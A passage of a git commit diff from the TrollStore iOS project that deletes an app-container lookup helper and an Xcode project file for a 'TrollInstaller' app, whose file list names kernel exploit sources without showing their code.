TrollStore 1.2, new build setup, deprecate installers in favor of TrollHelperOTA, add jailbreak guide, add better version compatibility notes
|
@ -4,5 +4,6 @@ out/
|
|||
packages/
|
||||
xcuserdata
|
||||
.vscode
|
||||
pwnify_compiled
|
||||
InstallerVictim.ipa
|
||||
Pwnify/pwnify
|
||||
InstallerVictim.ipa
|
||||
_build
|
|
@ -1,7 +0,0 @@
|
|||
#import "CoreServices.h"
|
||||
|
||||
NSArray* trollStoreInstalledAppBundlePaths();
|
||||
NSArray* trollStoreInstalledAppContainerPaths();
|
||||
NSString* trollStorePath();
|
||||
NSString* trollStoreAppPath();
|
||||
LSApplicationProxy* findPersistenceHelperApp(void);
|
|
@ -1,91 +0,0 @@
|
|||
@import Foundation;
|
||||
#import "CoreServices.h"
|
||||
#import <objc/runtime.h>
|
||||
|
||||
NSArray* trollStoreInstalledAppContainerPaths()
|
||||
{
|
||||
NSMutableArray* appContainerPaths = [NSMutableArray new];
|
||||
|
||||
NSString* appContainersPath = @"/var/containers/Bundle/Application";
|
||||
|
||||
NSError* error;
|
||||
NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error];
|
||||
if(error)
|
||||
{
|
||||
NSLog(@"error getting app bundles paths %@", error);
|
||||
}
|
||||
if(!containers) return nil;
|
||||
|
||||
for(NSString* container in containers)
|
||||
{
|
||||
NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container];
|
||||
BOOL isDirectory = NO;
|
||||
BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory];
|
||||
if(exists && isDirectory)
|
||||
{
|
||||
NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"];
|
||||
if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark])
|
||||
{
|
||||
NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"];
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp])
|
||||
{
|
||||
[appContainerPaths addObject:containerPath];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return appContainerPaths.copy;
|
||||
}
|
||||
|
||||
NSArray* trollStoreInstalledAppBundlePaths()
|
||||
{
|
||||
NSMutableArray* appPaths = [NSMutableArray new];
|
||||
for(NSString* containerPath in trollStoreInstalledAppContainerPaths())
|
||||
{
|
||||
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil];
|
||||
if(!items) return nil;
|
||||
|
||||
for(NSString* item in items)
|
||||
{
|
||||
if([item.pathExtension isEqualToString:@"app"])
|
||||
{
|
||||
[appPaths addObject:[containerPath stringByAppendingPathComponent:item]];
|
||||
}
|
||||
}
|
||||
}
|
||||
return appPaths.copy;
|
||||
}
|
||||
|
||||
NSString* trollStorePath()
|
||||
{
|
||||
NSError* mcmError;
|
||||
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError];
|
||||
if(!appContainer) return nil;
|
||||
return appContainer.url.path;
|
||||
}
|
||||
|
||||
NSString* trollStoreAppPath()
|
||||
{
|
||||
return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"];
|
||||
}
|
||||
|
||||
LSApplicationProxy* findPersistenceHelperApp(void)
|
||||
{
|
||||
__block LSApplicationProxy* outProxy;
|
||||
[[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy)
|
||||
{
|
||||
if(appProxy.installed && !appProxy.restricted)
|
||||
{
|
||||
if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"])
|
||||
{
|
||||
NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"];
|
||||
if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil])
|
||||
{
|
||||
outProxy = appProxy;
|
||||
}
|
||||
}
|
||||
}
|
||||
}];
|
||||
return outProxy;
|
||||
}
|
|
@ -1,486 +0,0 @@
|
|||
// !$*UTF8*$!
|
||||
{
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 55;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4D6A3428C17B010004DEA4 /* unarchive.m */; };
|
||||
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */; };
|
||||
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3928AE47A200837105 /* kernel_rw.c */; };
|
||||
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3A28AE47A200837105 /* port_utils.c */; };
|
||||
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3B28AE47A200837105 /* IOGPU.c */; };
|
||||
8CDF7C4C28AE47A200837105 /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3D28AE47A200837105 /* spray.c */; };
|
||||
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3E28AE47A200837105 /* mcast.c */; };
|
||||
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3F28AE47A200837105 /* kernel_base.c */; };
|
||||
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */; };
|
||||
8CDF7C5028AE47A200837105 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4128AE47A200837105 /* necp.c */; };
|
||||
8CDF7C5128AE47A200837105 /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4828AE47A200837105 /* exploit.c */; };
|
||||
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */; };
|
||||
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */; };
|
||||
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2A28AD5D710058FBAD /* ViewController.m */; };
|
||||
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */; };
|
||||
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */; };
|
||||
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */; };
|
||||
8CE2BD3628AD5D730058FBAD /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3528AD5D730058FBAD /* main.m */; };
|
||||
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7228AD5E060058FBAD /* KernelManager.m */; };
|
||||
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7528AD5E1A0058FBAD /* kutil.m */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
8C4D6A3428C17B010004DEA4 /* unarchive.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unarchive.m; sourceTree = "<group>"; };
|
||||
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = unarchive.h; sourceTree = "<group>"; };
|
||||
8C4D6A3728C17B830004DEA4 /* archive_entry.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive_entry.h; sourceTree = "<group>"; };
|
||||
8C4D6A3828C17B830004DEA4 /* archive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
|
||||
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = TrollStore.tar; path = ../../../_compile/out/TrollStore.tar; sourceTree = "<group>"; };
|
||||
8CDF7C3528AE47A200837105 /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = "<group>"; };
|
||||
8CDF7C3628AE47A200837105 /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = "<group>"; };
|
||||
8CDF7C3728AE47A200837105 /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
|
||||
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = "<group>"; };
|
||||
8CDF7C3928AE47A200837105 /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = "<group>"; };
|
||||
8CDF7C3A28AE47A200837105 /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = "<group>"; };
|
||||
8CDF7C3B28AE47A200837105 /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = "<group>"; };
|
||||
8CDF7C3C28AE47A200837105 /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = "<group>"; };
|
||||
8CDF7C3D28AE47A200837105 /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = "<group>"; };
|
||||
8CDF7C3E28AE47A200837105 /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = "<group>"; };
|
||||
8CDF7C3F28AE47A200837105 /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = "<group>"; };
|
||||
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = "<group>"; };
|
||||
8CDF7C4128AE47A200837105 /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
|
||||
8CDF7C4228AE47A200837105 /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
|
||||
8CDF7C4328AE47A200837105 /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = "<group>"; };
|
||||
8CDF7C4428AE47A200837105 /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = "<group>"; };
|
||||
8CDF7C4528AE47A200837105 /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = "<group>"; };
|
||||
8CDF7C4628AE47A200837105 /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = "<group>"; };
|
||||
8CDF7C4728AE47A200837105 /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = "<group>"; };
|
||||
8CDF7C4828AE47A200837105 /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = "<group>"; };
|
||||
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = TrollInstaller.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
|
||||
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
|
||||
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = "<group>"; };
|
||||
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = "<group>"; };
|
||||
8CE2BD2928AD5D710058FBAD /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
|
||||
8CE2BD2A28AD5D710058FBAD /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; };
|
||||
8CE2BD2D28AD5D720058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
|
||||
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
8CE2BD3228AD5D730058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
|
||||
8CE2BD3428AD5D730058FBAD /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
8CE2BD3528AD5D730058FBAD /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
|
||||
8CE2BD7228AD5E060058FBAD /* KernelManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelManager.m; sourceTree = "<group>"; };
|
||||
8CE2BD7328AD5E060058FBAD /* KernelManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelManager.h; sourceTree = "<group>"; };
|
||||
8CE2BD7528AD5E1A0058FBAD /* kutil.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kutil.m; sourceTree = "<group>"; };
|
||||
8CE2BD7628AD5E1A0058FBAD /* kutil.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutil.h; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
8CE2BD1D28AD5D710058FBAD /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXFrameworksBuildPhase section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
8C4D6A3128C17A490004DEA4 /* headers */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8C4D6A3728C17B830004DEA4 /* archive_entry.h */,
|
||||
8C4D6A3828C17B830004DEA4 /* archive.h */,
|
||||
);
|
||||
path = headers;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8CDF7C3428AE47A200837105 /* exploit */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8CDF7C3528AE47A200837105 /* kernel_base.h */,
|
||||
8CDF7C3628AE47A200837105 /* xpaci.h */,
|
||||
8CDF7C3728AE47A200837105 /* necp.h */,
|
||||
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */,
|
||||
8CDF7C3928AE47A200837105 /* kernel_rw.c */,
|
||||
8CDF7C3A28AE47A200837105 /* port_utils.c */,
|
||||
8CDF7C3B28AE47A200837105 /* IOGPU.c */,
|
||||
8CDF7C3C28AE47A200837105 /* exploit.h */,
|
||||
8CDF7C3D28AE47A200837105 /* spray.c */,
|
||||
8CDF7C3E28AE47A200837105 /* mcast.c */,
|
||||
8CDF7C3F28AE47A200837105 /* kernel_base.c */,
|
||||
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */,
|
||||
8CDF7C4128AE47A200837105 /* necp.c */,
|
||||
8CDF7C4228AE47A200837105 /* iokit.h */,
|
||||
8CDF7C4328AE47A200837105 /* IOGPU.h */,
|
||||
8CDF7C4428AE47A200837105 /* port_utils.h */,
|
||||
8CDF7C4528AE47A200837105 /* kernel_rw.h */,
|
||||
8CDF7C4628AE47A200837105 /* mcast.h */,
|
||||
8CDF7C4728AE47A200837105 /* spray.h */,
|
||||
8CDF7C4828AE47A200837105 /* exploit.c */,
|
||||
);
|
||||
path = exploit;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8CE2BD1728AD5D710058FBAD = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8CE2BD2228AD5D710058FBAD /* TrollInstaller */,
|
||||
8CE2BD2128AD5D710058FBAD /* Products */,
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8CE2BD2128AD5D710058FBAD /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8CE2BD2228AD5D710058FBAD /* TrollInstaller */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8C4D6A3128C17A490004DEA4 /* headers */,
|
||||
8CDF7C3428AE47A200837105 /* exploit */,
|
||||
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */,
|
||||
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */,
|
||||
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */,
|
||||
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */,
|
||||
8CE2BD2928AD5D710058FBAD /* ViewController.h */,
|
||||
8CE2BD2A28AD5D710058FBAD /* ViewController.m */,
|
||||
8CE2BD7328AD5E060058FBAD /* KernelManager.h */,
|
||||
8CE2BD7228AD5E060058FBAD /* KernelManager.m */,
|
||||
8CE2BD7628AD5E1A0058FBAD /* kutil.h */,
|
||||
8CE2BD7528AD5E1A0058FBAD /* kutil.m */,
|
||||
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */,
|
||||
8C4D6A3428C17B010004DEA4 /* unarchive.m */,
|
||||
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */,
|
||||
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */,
|
||||
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */,
|
||||
8CE2BD3428AD5D730058FBAD /* Info.plist */,
|
||||
8CE2BD3528AD5D730058FBAD /* main.m */,
|
||||
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */,
|
||||
);
|
||||
path = TrollInstaller;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */;
|
||||
buildPhases = (
|
||||
8CE2BD1C28AD5D710058FBAD /* Sources */,
|
||||
8CE2BD1D28AD5D710058FBAD /* Frameworks */,
|
||||
8CE2BD1E28AD5D710058FBAD /* Resources */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = TrollInstaller;
|
||||
productName = TrollInstaller;
|
||||
productReference = 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */;
|
||||
productType = "com.apple.product-type.application";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
/* Begin PBXProject section */
|
||||
8CE2BD1828AD5D710058FBAD /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
BuildIndependentTargetsInParallel = 1;
|
||||
LastUpgradeCheck = 1340;
|
||||
TargetAttributes = {
|
||||
8CE2BD1F28AD5D710058FBAD = {
|
||||
CreatedOnToolsVersion = 13.4.1;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */;
|
||||
compatibilityVersion = "Xcode 13.0";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
);
|
||||
mainGroup = 8CE2BD1728AD5D710058FBAD;
|
||||
productRefGroup = 8CE2BD2128AD5D710058FBAD /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXResourcesBuildPhase section */
|
||||
8CE2BD1E28AD5D710058FBAD /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */,
|
||||
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */,
|
||||
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */,
|
||||
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
8CE2BD1C28AD5D710058FBAD /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */,
|
||||
8CDF7C4C28AE47A200837105 /* spray.c in Sources */,
|
||||
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */,
|
||||
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */,
|
||||
8CDF7C5128AE47A200837105 /* exploit.c in Sources */,
|
||||
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */,
|
||||
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */,
|
||||
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */,
|
||||
8CDF7C5028AE47A200837105 /* necp.c in Sources */,
|
||||
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */,
|
||||
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */,
|
||||
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */,
|
||||
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */,
|
||||
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */,
|
||||
8CE2BD3628AD5D730058FBAD /* main.m in Sources */,
|
||||
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXVariantGroup section */
|
||||
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
8CE2BD2D28AD5D720058FBAD /* Base */,
|
||||
);
|
||||
name = Main.storyboard;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
8CE2BD3228AD5D730058FBAD /* Base */,
|
||||
);
|
||||
name = LaunchScreen.storyboard;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXVariantGroup section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
8CE2BD3728AD5D730058FBAD /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
COPY_PHASE_STRIP = NO;
|
||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
ENABLE_TESTABILITY = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_DYNAMIC_NO_PIC = NO;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_OPTIMIZATION_LEVEL = 0;
|
||||
GCC_PREPROCESSOR_DEFINITIONS = (
|
||||
"DEBUG=1",
|
||||
"$(inherited)",
|
||||
);
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
|
||||
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
|
||||
MTL_FAST_MATH = YES;
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
SDKROOT = iphoneos;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
8CE2BD3828AD5D730058FBAD /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
